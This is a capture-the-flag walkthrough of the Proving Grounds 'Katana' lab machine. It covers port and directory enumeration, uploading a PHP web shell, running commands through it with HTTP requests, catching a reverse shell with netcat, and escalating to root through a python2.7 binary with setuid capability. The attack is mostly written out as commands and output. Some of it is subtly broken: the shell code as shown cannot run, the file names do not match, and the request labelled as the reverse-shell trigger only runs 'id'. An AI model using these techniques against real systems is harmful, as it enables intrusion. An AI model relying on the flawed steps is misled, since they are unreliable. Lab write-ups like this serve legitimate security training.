Home [h4] Proving Grounds Play Vulnhub Katana
Post
Cancel

[h4] Proving Grounds Play Vulnhub Katana

Details
This box was customized by Offensive Security and integrated in the ‘proving grounds’ lab.
In the following you see the solution of the ‘proving grounds’ version.

discovery

Starting with a simple nmap scan to identify the attack surface of the target.

port scan

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
$ nmap -Pn 192.168.214.83                
Starting Nmap 7.92 ( https://nmap.org ) at 2023-01-13 09:27 EST
Nmap scan report for 192.168.214.83
Host is up (0.11s latency).
Not shown: 982 closed tcp ports (conn-refused)
PORT      STATE    SERVICE
21/tcp    open     ftp
22/tcp    open     ssh
42/tcp    filtered nameserver
80/tcp    open     http
1030/tcp  filtered iad1
1084/tcp  filtered ansoft-lm-2
1122/tcp  filtered availant-mgr
1533/tcp  filtered virtual-places
1580/tcp  filtered tn-tl-r1
2608/tcp  filtered wag-service
5061/tcp  filtered sip-tls
5850/tcp  filtered unknown
8009/tcp  filtered ajp13
8715/tcp  open  unknown
8088/tcp  open     radan-http
9968/tcp  filtered unknown
15003/tcp filtered unknown
38292/tcp filtered landesk-cba
56738/tcp filtered unknown

Nmap done: 1 IP address (1 host up) scanned in 18.36 seconds

$ nmap -Pn -p21,22,80,8088,8715 -sV 192.168.214.83 
Starting Nmap 7.92 ( https://nmap.org ) at 2023-01-13 09:57 EST
Nmap scan report for 192.168.214.83
Host is up (0.11s latency).

PORT     STATE SERVICE VERSION
21/tcp   open  ftp     vsftpd 3.0.3
22/tcp   open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
80/tcp   open  http    Apache httpd 2.4.38 ((Debian))
8088/tcp open  http    LiteSpeed httpd
8715/tcp open  http    nginx 1.14.2
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.91 seconds

dir busting

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
$ gobuster dir -u http://192.168.214.83/ -w /usr/share/wordlists/dirb/common.txt -t 5 -x php,txt,html -b 404,403
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.214.83/
[+] Method:                  GET
[+] Threads:                 5
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes:   403,404
[+] User Agent:              gobuster/3.1.0
[+] Extensions:              php,txt,html
[+] Timeout:                 10s
===============================================================
2023/01/13 09:30:00 Starting gobuster in directory enumeration mode
===============================================================
/ebook                (Status: 301) [Size: 316] [--> http://192.168.214.83/ebook/]
/index.html           (Status: 200) [Size: 655]                                   
/index.html           (Status: 200) [Size: 655]                                   
                                                                                  
===============================================================
2023/01/13 09:37:32 Finished
===============================================================

$ gobuster dir -u http://192.168.214.83:8088/ -w /usr/share/wordlists/dirb/common.txt -t 5 -x php,txt,html -b 404,403
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.214.83:8088/
[+] Method:                  GET
[+] Threads:                 5
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes:   403,404
[+] User Agent:              gobuster/3.1.0
[+] Extensions:              txt,html,php
[+] Timeout:                 10s
===============================================================
2023/01/13 09:33:13 Starting gobuster in directory enumeration mode
===============================================================
/blocked              (Status: 301) [Size: 1260] [--> http://192.168.214.83:8088/blocked/]
/cgi-bin              (Status: 301) [Size: 1260] [--> http://192.168.214.83:8088/cgi-bin/]
/css                  (Status: 301) [Size: 1260] [--> http://192.168.214.83:8088/css/]    
/docs                 (Status: 301) [Size: 1260] [--> http://192.168.214.83:8088/docs/]   
/error404.html        (Status: 200) [Size: 195]                                           
/img                  (Status: 301) [Size: 1260] [--> http://192.168.214.83:8088/img/]    
/index.html           (Status: 200) [Size: 655]                                           
/index.html           (Status: 200) [Size: 655]                                           
/phpinfo.php          (Status: 200) [Size: 50739]                                         
/phpinfo.php          (Status: 200) [Size: 50738]                                         
/protected            (Status: 301) [Size: 1260] [--> http://192.168.214.83:8088/protected/]
/upload.php           (Status: 200) [Size: 1800]                                            
/upload.html          (Status: 200) [Size: 6480]                                            
                                                                                            
===============================================================
2023/01/13 09:40:46 Finished
===============================================================

exploitation

file upload

Dir busting reveals that the resource /upload.html is availabe on port 8088. This resource allows to upload files to the server.

upload

Lets try to upload a simple file named shell.php with the following content.

1
<?php system(['c']); ?>

uploaded

It seemed to have worked and was stored in the folder of a web server!

As we have no idea on which of the identified web servers (ports 80, 8088 or 8715) the web shell is stored, we now check on everyone of them.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
GET /katana_shell.php?c=id HTTP/1.1
Host: 192.168.214.83:8715
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.72 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=b3vuugbfm4fr4iq79n2fp4tvkt
Connection: close

HTTP/1.1 200 OK
Server: nginx/1.14.2
Date: Fri, 13 Jan 2023 14:56:51 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 54

uid=33(www-data) gid=33(www-data) groups=33(www-data)

The shell is stored on the web server on port 8715!


post exploitation

reverse shell

start listener on attacker machine

1
2
$ nc -lvp 80
listening on [any] 80 ...

trigger reverse shell

1
2
3
4
5
6
7
8
9
GET /katana_shell.php?c=id HTTP/1.1
Host: 192.168.214.83:8715
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.72 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=b3vuugbfm4fr4iq79n2fp4tvkt
Connection: close

catch connection from target

1
2
3
4
5
6
7
8
9
$ nc -lvp 80
listening on [any] 80 ...
192.168.214.83: inverse host lookup failed: Unknown host
connect to [192.168.49.214] from (UNKNOWN) [192.168.214.83] 49162
bash: cannot set terminal process group (425): Inappropriate ioctl for device
bash: no job control in this shell
www-data@katana:/opt/manager/html$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

get the first flag

1
2
3
4
5
6
www-data@katana:/$ find . -name local.txt
find . -name local.txt
./var/www/local.txt
www-data@katana:/$ cat ./var/www/local.txt
cat ./var/www/local.txt
6******************************9

privilege escalation

After uploading linpeas.sh to the target server and executing the script it shows the following potential privilege escalation vector.

1
2
3
4
5
6
7
www-data@katana:/tmp$ sh linpeas.sh
sh linpeas.sh
...
Files with capabilities (limited to 50):
/usr/bin/ping = cap_net_raw+ep
/usr/bin/python2.7 = cap_setuid+ep
...

We are able to escalate to root by using the binary /usr/bin/python2.7

1
2
3
4
www-data@katana:/tmp$ /usr/bin/python2.7 -c 'import os; os.setuid(0); os.system("/bin/bash")'
/usr/bin/python2.7 -c 'import os; os.setuid(0); os.system("/bin/bash")'
root@katana:/tmp# id
uid=0(root) gid=33(www-data) groups=33(www-data)

We are root! Yay!

get the second flag

1
2
3
4
5
6
7
8
root@katana:/tmp# cd /root
cd /root
root@katana:/root# ls
ls
proof.txt  root.txt
root@katana:/root# cat proof.txt
cat proof.txt
d******************************8

Pwned! <@:-)

This post is licensed under CC BY 4.0 by the author.